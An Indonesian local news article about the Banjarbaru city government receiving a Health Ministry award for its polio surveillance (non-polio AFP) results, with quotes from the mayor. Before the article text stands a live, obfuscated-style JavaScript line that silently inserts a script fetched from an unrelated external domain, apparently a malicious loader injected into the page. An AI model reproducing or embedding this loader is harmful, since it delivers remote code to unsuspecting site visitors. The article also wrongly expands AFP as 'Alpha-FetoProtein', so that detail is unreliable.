(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Berantas Polio, Pemko Banjarbaru Terima Penghargaan dari Kementrian Kesehatan

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menerima penghargaan dari Kementerian Kesehatan (Kemenkes) Republik Indonesia atas keberhasilan mencapai target Non-Polio Alpha-FetoProtein (NPAFP) tahun 2021.

Diberikannya penghargaan ini menandakan sebuah daerah dinyatakan bebas dari penyakit polio yang diketahui dapat menyebabkan kelumpuhan. Proses penilaiannya, Kemenkes RI menetapkan daerah berstatus non polio AFP harus memenuhi standar rate minimal 2/100.000 populasi penduduk usia anak di bawah 15 tahun.

Ya, Kota Banjarbaru dicatut menjadi salah satu daerah yang telah mencapai standar tersebut. Membuktikan bahwa upaya Pemko Banjarbaru dinyatakan berhasil dalam meningkatkan imunisasi dan surveilens AFP (kasus lumpuh layu akut) selama beberapa tahun terakhir.

Atas didapatkan penghargaan ini, Wali Kota Banjarbaru, Aditya Mufti Ariffin, mengucapkan rasa terima kasih kepada seluruh tenaga kesehatan maupun SKPD terkait yang telah berkerja keras selama beberapa tahun terakhir.

“Terimakasih kepada seluruh tenaga kesehatan dan SKPD yang mendukung kinerja untuk pelayanan terbaik kepada masyarakat,” katanya, Jumat (11/2/2022).

Tak sampai di situ, Aditya juga berharap agar Pemko Banjarbaru terus berusaha untuk mempertahankan penghargaan yang telah diraih tersebut. “Ini menjadi motivasi kita, meskipun harus tetap waspada terhadap polio. Semoga kedepannya kita bisa mewujudkan Banjarbaru yang benar benar juara,” tuntasnya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk